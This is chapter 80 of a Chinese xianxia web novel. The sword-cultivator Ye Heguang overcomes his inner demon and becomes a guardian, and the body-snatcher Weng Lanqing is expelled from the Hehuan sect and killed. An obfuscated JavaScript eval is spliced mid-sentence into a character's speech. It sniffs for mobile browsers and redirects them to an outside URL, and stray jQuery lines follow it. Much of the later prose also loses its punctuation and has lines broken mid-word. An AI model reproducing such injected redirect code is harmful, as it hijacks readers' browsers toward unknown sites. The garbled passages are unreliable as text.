第80章赴苍琅
【你以为是谁替你们扛起了苍琅的因果?】
合欢宗的掌教台是宗门重地,除了有宗主洞府、幻阵重重的“一梦笑春风”以及诸如明水流音台这样的洞天福地,还有合欢宗的密狱。
密狱就在宗主洞府之下,关押的都是合欢宗犯过错或者伤害过合欢宗弟子的修士。
密狱中的每一间牢房皆有幻阵相隔,叶和光目光掠过守在牢房外头的虞白圭和段木槿,忽然问道:“为何不逃?”
让南怀生带走封叙后,叶和光没多久便寻到了翁兰清。他伤得极重,眉心赫然一道被灼烧的黑痕,境界掉落,灵息虚弱。
叶和光猜到他会受伤,却不想会伤得如此重,当即便对翁兰清道:“翁师兄你逃吧,我替你拦下师姐他们。”
翁兰清双目泛着血丝,眼白隐有黑雾流淌。听见叶和光的话,他下意识抬头,盯着叶和光眼睛看了片晌。
叶和光的瞳眸已然散去所有阴霾,目光清明,眼底深处再无迷茫,只有对他的担忧。
翁兰清的确给自己准备了一个藏身之地,但他眼下这境况,那藏身之地去不去都已没有意义了。
他哑着声问叶和光:“你堪破你的心魇了?”
叶和光闻言先是一愣,须臾后道:“我亦不知,但我的确是放下了当闯山人的执念。”
正是因为放下了执念,他才能在最后一刻守住道心,没去夺舍封叙。他要真铁下心夺舍封叙,纵然有步光剑挡在身前,也拦不住他。
只是当他将手放在封叙眉心时,他忽然就想起了他的师尊惊澜真君。
叶和光曾问过惊澜真君,为何要留下来做守山人。惊澜真君笑着说他性子中庸,最是适合留在苍琅做个守护者。他说他想守着涯剑山守着所有的弟子,看着他们一个个成长,再将他们一个个送走。
——“如此,师尊也算是不辜负步光剑交与我的重任了。”
时至今日,叶和光依旧记得惊澜真君眼里那睿智又慈祥的目光。
在苍琅,有人走,那便会有人留下。有人闯,那便要有人守。正是一代代守山人的坚守,才能有一代代闯山人离开苍琅。
“翁师兄,那一刻,我忽然觉得做守山人也很好。我跟师尊一样,性子中庸不爱争抢,也很适合做守山人。闯山人与守山人从来就不是两条对立的路,一
条路没了还有一条路在。”
留下来做一个真正的守山人。
当叶和光心中浮出这一个念头时落满厚厚一层尘埃的道心顷刻尘尽光生本以为再无寸进的修为竟是在一瞬间冲破了瓶颈一举涌到了元婴境小成的巅峰离进阶大成之境只有毫厘之距。
冲破瓶颈的那一刹那步光剑发出一声清越的剑鸣就见它剑身一转
那一刻跟随了叶和光十数年的镇山剑步光真真正正择他为主!
“翁师兄可还记得我当年的择剑礼?”叶和光望向手中的步光剑眼中带着怀念之色“当年我是资质最好的预备弟子之一镇山石下五把镇山剑为我而出我选择了步光剑。师尊很高兴便让步光剑朝我递出剑柄。”
彼时镇山石下的少年还不到十岁刚懵懵懂懂握住剑柄瞬时便有一阵狂风将他带上空中在无数道羡慕的目光中送他去步光峰的山巅。底下一群少年哇哇大叫跳着说也要选步光峰。
“步光峰是七座剑锋之末往常在择剑礼上也就比没了镇山剑的无双峰要好一些却始终打不过别的剑峰。师尊没想到我会选择步光峰有心要让我在择剑礼上风光一把。”
被步光剑带上步光峰的叶和光的确体会到人生中的第一个风光时刻。
小少年在那一刻见识到了何谓天地有乾坤。
是以当步光剑再次朝他递出剑柄时他仿佛又回到了择剑礼那一日。
只是这一次当叶和光握住剑柄后他再不是从前那个懵懂少年。他会在步光峰坐上师尊从前坐过的地方给镇山石下的少年们送去一把又一把飞往山巅的风。
这何尝不是另一种传承?
曾经一心要当闯山人的少年在这一瞬间成为了苍琅的守山人叶真君。
“翁师兄”叶和光看着翁兰清一字一句道“对不住我不能陪你走另外一条路。”
青年的眉眼散去阴霾之后又变回了翁兰清熟悉的模样。
他们在这一刻分道扬镳。
翁兰清静静看着他忽然淡下声音道:“早知用这种方式便可让你堪破心魇我从前何必千方百计替你苦寻解决之道。你可知我怨过你?”
叶和光颔首温声道:“我知道。”
翁兰清又道:“收下封叙为徒后我故意用《天音诀》加重你的心魇。”
叶和光神色一顿
继续颔首:“我知道。”
“既然你都知道那我与你两清了。”翁兰清道“我不逃是因为我逃了也没用境界掉落神魂受损我就算顺利逃到桃木林也活不了多久。出去回你的世界去。”
叶和光没有夺舍也没有放走夺舍者这密狱关的是始终他翁兰清一人他没必要留下。
几乎在他话音落下之时守在牢房外的虞白圭和段木槿都望了过来。
叶和光没动。
翁兰清阖起眼又重复了一遍:“出去。”
叶和光依旧没动:“当年秦子规以留守元剑宗为代价请元秋临出面要回了秦观潮的尸身。今日我——”
“不必了。”翁兰清打断叶和光意兴阑珊道“落子无悔就让我在这一条路走到底吧叶师弟。”
说罢翁兰清睁开眼平静看向从幽暗中走来的几道人影。
崔云杪扫一眼叶和光对段木槿二人道:“你们都出去罢把叶师弟带走。”
叶和光看了看跟在崔云杪和裴数身后的怀生三人唇角微微一动想说些什么然而还未及说话便被虞白圭一把扯出了密狱。
裴朔看着翁兰清淡声道:“从今日起你再不是合欢宗修士。”
翁兰清对自己被驱逐出合欢宗一事早就有所预料他看着封叙道:“我从没拿你当徒弟你也从没拿我当师尊。你遭受的一切皆因我而起今日我陨落后我的尸身随你和南怀生处置。至于我残存的这一点神魂——”
他眸光一转瞥向怀生继续道:“你们涯剑山拿去。不过你神魂强大想必也看不上我这一点神魂之力。”
怀生道:“我已经为你挑好了魂灯你的神魂自有归处。只我不明白我与你素未谋面、无冤无仇
眼前的少女明明已经顺利进阶丹境不知为何面色却是极苍白。只是再是苍白也掩不住萦绕在她身上的清正之气。
翁兰清端坐在地面无表情道:“你问我为什么自是因为你万中无一的资质。我最初看中的是萧若水萧家背叛涯剑山收容尉迟聘迟早都会成为众矢之的。夺舍她便是被人发现也未必有人会追究。只可惜她的资质比我的肉身还要差一些我实在是不愿委屈我自己干脆便夺舍一个资质更好的。”
他轻轻一笑眼白再度蠕动起血雾。
“你既已结丹很快便会知晓一个灵气枯
竭、天道不存的修仙界有多令人绝望。看看你师尊崔云杪,她的剑道天赋无人能及,是苍琅名副其实的第一剑,为何她修炼至今却始终无法突破至化神?还有师兄你——”
他目光一转,盯着裴朔扬声道:“你那么喜欢丹谷那位,可她的命运从筑基时便已经决定了。你甘心吗师兄?只要你愿意,你便可以带她离开苍琅!连天道都放弃了这里,我们还守着作甚么?我想离开这里有错吗?我想变得更强有错吗?咳——”
一口鲜血猛地从翁兰清喷出,他缟素般的脸登时弥漫起一股死气沉沉的乌青之意。
男人慢慢擦去唇角粘腻乌黑的血,喘了两口气后便恢复平静的神色,再度看向怀生。
“你这样的资质,不是我也会是别人。‘守山人’誓约约束不了我们心中的怪物,日后像我这样的人只多不少。”
从前的翁兰清也厌恶夺舍者,然而进阶元婴后,对天道的感应叫他慢慢意识到如今的苍琅有多“孱弱”。
这个世界迟早会灭亡。就像阴煞之气无端出现在桃木林一样,苍琅在将来的某个瞬间也会化作虚无。
这念头出现后便再也无法摆脱。巨大的恐惧之下,翁兰清心魇渐生,只想尽早离开苍琅。
“谁都不知道闯过不周山之后,等待苍琅修士的是一个怎样的‘上界’。我们这样一群‘怪物’反而能适应残酷的修仙界,你们何必锲而不舍地追杀?”
崔云杪轻笑一声,淡漠地道:“我刚解决了尉迟聘,本是懒得与你废话。但我想了想,还是觉着有必要澄清一下。你与尉迟聘这样的守山人,说怪物都抬举你们了。说什么天道不存、苍琅没有将来,归根到底不过是懦弱者的借口。一个桃木林就能将你们吓得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119970|155333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屁滚尿流,竟还敢妄想去上界大杀四方。
“夺舍者之所以不容于世,是因为夺舍之道从来就不是人道!天有天道,人有人道。苍琅修士就算无力干涉天道,也该坚守住我们的人道!我崔云杪诛杀夺舍者,为的便是用我的手中剑捍卫人道。只要人道不灭,纵有一日天道不存、灵气消亡,人族也不会灭亡。人族薪火不灭,我苍琅便能长存!只可惜这样的道理你这样的懦者永远都不会懂!”
崔云杪的声音很淡,她也没想要说服翁兰清,一番话说完,手中一盏魂灯飞出,悬在她掌心。
“可还有话要问他?”她问怀生。
怀生摇头:“没
有了。”
原以为他选择她是为了什么非她不可的理由,却原来是看中她的资质。
怀生上前将手扣在翁兰清头顶,掌心微一用力,翁兰清即刻发出一阵痛呼声,又是一口乌黑的鲜血喷出。
她支起屏障挡住他的血,垂眸盯着翁兰清痛得无可复加的神色,冷冷道:“这么一点头疾你便承受不住了,我这具肉身你便是得了也活不过一刻钟。”
牢房中的人皆知怀生素有头疾之扰,但唯有辞婴知晓她话中的深意。
星诃瞥见他的眼神,忙不迭传音道:“黎辞婴,他是下界修士,你不可杀他!”
九天二十七域的仙神本就不可私闯下界杀下界修士,苍琅的天道再是不全,给他劈一两道神雷作为天罚的能力还是有的,更遑论那极为棘手的因果孽力。
辞婴没应话。
裴朔等到怀生松了手,便问封叙:“你呢?可有话要问他?”
封叙跟来只是为了看戏,可没想卷入苍琅任何人的因果中,眼下戏看得差不多了,便道:“师徒缘尽,翁**给我安排的这一场无妄之灾倒是叫我心境有所突破,我这便回洞府闭关,余下的便交予师伯了。”
他说走便走,同辞婴、怀生略一点头便离开了密狱。
崔云杪也对怀生和辞婴道:“拘残魂入魂灯得费一些工夫,你们若不想看便出去寻几位师叔去。”
怀生点点头,牵起辞婴的手便往外走:“走罢,师兄。”
辞婴看了眼翁兰清,信步跟上怀生。二人刚出密狱,他便对怀生道:“你在这等我,我马上便回来。”
话音刚落,他的身影便消失在原处,再度回到关押翁兰清的牢房。
一个幽蓝结界迅雷般落下,崔云杪与裴朔还未及反应,便听见“砰”一声巨响,紧接着又是“喀嚓”“喀嚓”的骨裂声接连响起。
辞婴捏住翁兰清的脖颈,将他掼入墙内,冷着声道:“倘若不是她,苍琅的天道早就毁了!你以为是谁替你们扛起了苍琅的因果,让你这样的废物安安生生在乾坤镜内修炼?”
翁兰清浑身骨头尽数碎裂,辞婴说的话他每一个字都听得懂,却是过了半晌才反应过来他的意思。
瞳孔一缩,他难以置信地看向辞婴。下一瞬,他眉心忽然亮起一道幽火,翁兰清残破的神魂被强行拘了出来,电光石火间便被煅烧成一个指甲盖大小的魂力。
翁兰清去过怀生的祖窍
辞婴本就没打算把他的神魂交给任何人。便是要承担天罚与因果孽力他也要亲手杀了他!
两道天雷从虚空劈下被密狱的结界一挡再落到辞婴身上威力小了许多却还是叫他喉头涌上一缕腥甜。
辞婴面无波澜将翁兰清残余的魂力弹入崔云杪掌心中的魂灯便一步横空出了密狱。
崔云杪看了看叶和光明显亮了一些的魂灯
她收起魂灯看向裴朔平静道:“黎辞婴与南怀生是我崔云杪的亲传仅此而已裴宗主方才……可有听见什么?”
裴朔能当上合欢宗宗主自是有一颗八面玲珑心听见辞婴那话的刹那便想通了他身上的各种奇怪之处也明白崔云杪此时的话中之意。
他强行压住内心的震惊正色道:“云杪真君放心我什么都没听见。”
崔云杪轻轻颔首斜瞥地上的翁兰清道:“翁兰清的神魂已经被我拘入魂灯他这具肉身便埋在你们合欢宗罢。接下来借你们合欢宗的地盘用一用叶师弟既然堪破心魇也该去做个了断了。”
-----------------------
作者有话说:来啦~下一章周一更从下周开始恢复原先的更新频率这星期大家等更辛苦啦么么=3=